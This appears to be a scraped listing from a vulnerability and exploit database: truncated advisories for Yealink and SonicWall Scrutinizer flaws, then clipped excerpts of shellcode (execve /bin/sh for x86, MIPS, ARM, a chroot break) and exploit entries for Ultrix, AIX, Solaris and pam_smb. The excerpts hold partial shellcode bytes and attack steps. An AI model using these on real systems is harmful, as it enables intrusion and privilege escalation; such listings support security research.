PT-2014-2951

Name of the Vulnerable Software and Affected Versions Yealink VoIP Phone SIP-T38G version affected versions not specified Description A directory traversal issue allows remote authenticated users to read arbitrary files by using a .. dot dot in the page parameter to the "cgi-bin/cgiServer.exx"...

CVE-2013-5758: Improper Neutralization of Special Elements used in an OS Command

cgi-bin/cgiServer.exx in Yealink VoIP Phone SIP-T38G allows remote authenticated users to execute arbitrary commands by calling the system method in the body of a request, as demonstrated by running unauthorized services, changing directory permissions, and modifying files...

CVE-2014-4977

Multiple SQL injection vulnerabilities in Dell SonicWall Scrutinizer 11.0.1 allow remote authenticated users to execute arbitrary SQL commands via the 1 selectedUserGroup parameter in a create new user request to cgi-bin/admin.cgi or the 2 userid parameter in the changeUnit function, 3 methodDeta...

CVE-2014-4977

Multiple SQL injection vulnerabilities in Dell SonicWall Scrutinizer 11.0.1 allow remote authenticated users to execute arbitrary SQL commands via the 1 selectedUserGroup parameter in a create new user request to cgi-bin/admin.cgi or the 2 userid parameter in the changeUnit function, 3 methodDeta...

PT-2014-6240

Name of the Vulnerable Software and Affected Versions Dell SonicWall Scrutinizer version 11.0.1 Description The issue allows remote authenticated users to execute arbitrary SQL commands. This can be achieved via several parameters in different API endpoints and functions, including the...

CVE-2014-4976: Undefined Security Weakness

Dell SonicWall Scrutinizer 11.0.1 allows remote authenticated users to change user passwords via the user ID in the savePrefs parameter in a change password request to cgi-bin/admin.cgi...

CVE-2014-4977: Improper Neutralization of Special Elements used in an SQL Command

Multiple SQL injection vulnerabilities in Dell SonicWall Scrutinizer 11.0.1 allow remote authenticated users to execute arbitrary SQL commands via the 1 selectedUserGroup parameter in a create new user request to cgi-bin/admin.cgi or the 2 userid parameter in the changeUnit function, 3 methodDeta...

PT-2014-6239

Name of the Vulnerable Software and Affected Versions Dell SonicWall Scrutinizer version 11.0.1 Description The issue allows remote authenticated users to change user passwords. This is achieved by modifying the savePrefs parameter in a change password request to the "cgi-bin/admin.cgi" endpoint,...

Linux x86 - Socket Re-use Shellcode 50 bytes

Linux x86 - Socket Re-use Shellcode 50 bytes. CVE-2014-4943. Shellcode exploit for linx86 platform / Socket Re-use Combo for linux x86 systems by ZadYree -- 50 bytes Made using sockfd trick + dup20,0, dup20,1, dup20,2 + execve /bin/sh Thanks: Charles Stevenson, ipv, 3LRVS research team gcc -o...

Linux/MIPS - execve /bin/sh - 48 bytes

No description provided by source. / Title: Linux/MIPS - execve /bin/sh - 48 bytes Date: 2011-11-24 Author: rigan - imrigan at gmail.com .text .global start start: slti $a2, $zero, -1 li $t7, 0x2f2f6269 sw $t7, -12$sp li $t6, 0x6e2f7368 sw $t6, -8$sp sw $zero, -4$sp la $a0, -12$sp slti $a1, $zero...

Ralf S. Engelschall ePerl 2.2.12 Handling of ISINDEX Query Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/151/info A bug exists in ePerl's handling of the ISINDEX queries. When ISINDEX is used, the query is passed on the command line by the web server. This would allow an attacker to execute arbitrary code via the ePerl...

Digital Ultrix 4.0/4.1 /usr/bin/chroot Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/17/info By default, /usr/bin/chroot is improperly installed in Ultrix versions 4.0 and 4.1. Anyone can execute /usr/bin/chroot this can lead to system users to gain unauthorized privileges. $ mkdir /tmp/etc $ echo...

linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 23 bytes

No description provided by source. / linux-x86-binshv2.c - 23 bytes Copyright c 2006 Gotfault Security [email protected] Linux/x86 execve/bin/sh, /bin/sh, NULL / char shellcode = \x6a\x0b // push $0xb \x58 // pop %eax \x99 // cltd \x52 // push %edx \x68\x2f\x2f\x73\x68 // push $0x68732f2f...

linux/x86 break chroot setuid(0) + /bin/sh 132 bytes

No description provided by source. / Linux/x86 - setreuid0, 0; - chroot-break make a temp dir with mkdir, chroot to tempdir, go through a loop of chdir..; then a final chroot.; - execve of /bin/sh used in several wu-ftpd, beroftpd and proftpd exploits, amongst others / include stdio.h char c0de =...

Solaris <= 7.0 cancel Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/293/info A buffer overrun condition was discovered in Solaris 2.6 X86 in /usr/bin/cancel. This buffer overflow is apparently present in the SPARC version as well although it is thought to be unexploitable. Previous versio...

AIX 5.1 Bellmail Local Race Condition Exploit Exploit

No description provided by source. -bash-2.05b$ -bash-2.05b$ cat xaix5bellmail.pl !/usr/bin/perl FileName: xaix5bellmail.pl Exploit Race condition vulnerability BUGTRAQ ID: 8805 of /usr/bin/bellmail command on Aix5 to change any file owner to current user. Usage : xaix5bellmail.pl aimfile aimfile...

McAfee 4.0,Network Associates for Windows NT 4.0.2/4.0.3 a,Norton AntiVirus 2000 Recycle Bin Exclusion

No description provided by source. McAfee VirusScan 4.0,Network Associates VirusScan for Windows NT 4.0.2/4.0.3 a,Symantec Norton AntiVirus 2000 Recycle Bin Exclusion Vulnerability source: http://www.securityfocus.com/bid/956/info Many commercial virus scanners for Windows platforms exclude the...

Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes

No description provided by source. / Title: Linux/ARM - execve/bin/sh,/bin/sh,0 - 30 bytes Date: 2010-06-28 Tested: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Dtabase of shellcodes http://www.shell-storm.org/shellcode/ 8054:...

Linux x86 - /bin/sh 8 bytes

No description provided by source. / 08048334 main: 8048334: 99 cltd 8048335: 6a 0b push $0xb 8048337: 58 pop %eax 8048338: 60 pusha 8048339: 59 pop %ecx 804833a: cd 80 int $0x80 using this code. step1. This code is compiled. step2. strace -x output binary step3. get execve args in strace result...

Linux pam_lib_smb < 1.1.6 /bin/login Remote Exploit

No description provided by source. / Linux pamlibsmb 1.1.6 /bin/login exploit by vertex Tested on Redhat 8.0, 9.0 Advisory at http://us2.samba.org/samba/ftp/pamsmb/ code based on : UClogin.c SunOS 5.6,5.7,5.8 remote /bin/login root exploit mikecc/unixclan...